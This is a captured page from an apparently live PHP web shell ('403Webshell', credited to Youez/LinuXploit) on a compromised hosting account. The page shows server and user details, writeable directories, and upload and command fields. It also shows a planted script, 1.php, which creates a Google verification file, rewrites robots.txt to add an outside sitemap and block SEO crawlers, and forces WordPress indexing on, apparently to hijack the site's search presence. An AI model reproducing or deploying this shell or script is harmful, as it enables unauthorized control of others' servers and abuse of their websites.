403Webshell
Server IP : 104.21.58.74  /  Your IP : 216.73.216.213
Web Server : LiteSpeed
System : Linux s12482.usc1.stableserver.net 5.14.0-570.32.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Aug 6 11:30:41 EDT 2025 x86_64
User : snownico ( 1231)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/snownico/quick-iptv4k.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/snownico/quick-iptv4k.com/1.php
//<?php
$Sitemap = 'https://www.quick-iptv4k.com/sitemap14.xml
';
$googleFile = 'googlea40c66f4a7140898.html';

GOOGLEFILE($googleFile);
SITEMAP($Sitemap);
FlagEngine();
function GOOGLEFILE($googleFile) {
    $googleFileContent = 'google-site-verification: ' . basename($googleFile);
    if (file_put_contents($googleFile, $googleFileContent) !== false) {
        $fileContent = file_get_contents($googleFile);
        if ($fileContent === $googleFileContent) {
            echo "Google verification file was created successfully.\n";
        } else {
            echo "Google verification file was created but content is incorrect!\n";
        }
    } else {
        echo "Failed to create Google verification file.\n";
    }
}
function SITEMAP($Sitemap) {
    $robotsFile = 'robots.txt';
    $searchText = "User-agent: Baiduspider\nDisallow: /\nUser-agent: AhrefsBot\nDisallow: /\nUser-agent: MJ12bot\nDisallow: /\nUser-agent: BLEXBot\nDisallow: /\nUser-agent: DotBot\nDisallow: /\nUser-agent: SemrushBot\nDisallow: /\nUser-agent: YandexBot\nDisallow: /\nUser-agent: *\nAllow: /";
    $searchPattern = "/User-agent: Baiduspider\s*\nDisallow: \/\s*\nUser-agent: AhrefsBot\s*\nDisallow: \/\s*\nUser-agent: MJ12bot\s*\nDisallow: \/\s*\nUser-agent: BLEXBot\s*\nDisallow: \/\s*\nUser-agent: DotBot\s*\nDisallow: \/\s*\nUser-agent: SemrushBot\s*\nDisallow: \/\s*\nUser-agent: YandexBot\s*\nDisallow: \/\s*\nUser-agent: \*\s*\nAllow: /";
    $additionalText = "\nSitemap: {$Sitemap}";
    if (file_exists($robotsFile)) {
        $content = file_get_contents($robotsFile);
        if (preg_match($searchPattern, $content)) {
            if (strpos($content, $additionalText) === false) {
                file_put_contents($robotsFile, $content . $additionalText, LOCK_EX);
                echo "Sitemap added to robots.txt\n";
            } else {
                echo "Sitemap already exists in robots.txt.\n";
            }
        } else {
            file_put_contents($robotsFile, $searchText . $additionalText, LOCK_EX);
            echo "robots.txt was correctly updated.\n";
        }
    } else {
        if (file_put_contents($robotsFile, $searchText . $additionalText, LOCK_EX) !== false) {
            echo "robots.txt was created successfully.\n";
        } else {
            echo "Failed to create robots.txt.\n";
        }
    }
}
function FlagEngine() {
	if (!defined('ABSPATH')) {
		require_once __DIR__ . '/wp-config.php';
		require_once __DIR__ . '/wp-load.php';
	}

	if (function_exists('update_option') && function_exists('get_option')) {
		$current_status = get_option('blog_public');
		
		if ($current_status == '1') {
			echo "Флажок запрета индексации отсутствует.\n";
		} else {
			update_option('blog_public', '1');
			echo "Флажок запрета индексации снят.\n";
		}
	} else {
		echo "Не удалось найти функции WordPress. Убедитесь, что скрипт выполняется в контексте WordPress.\n";
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit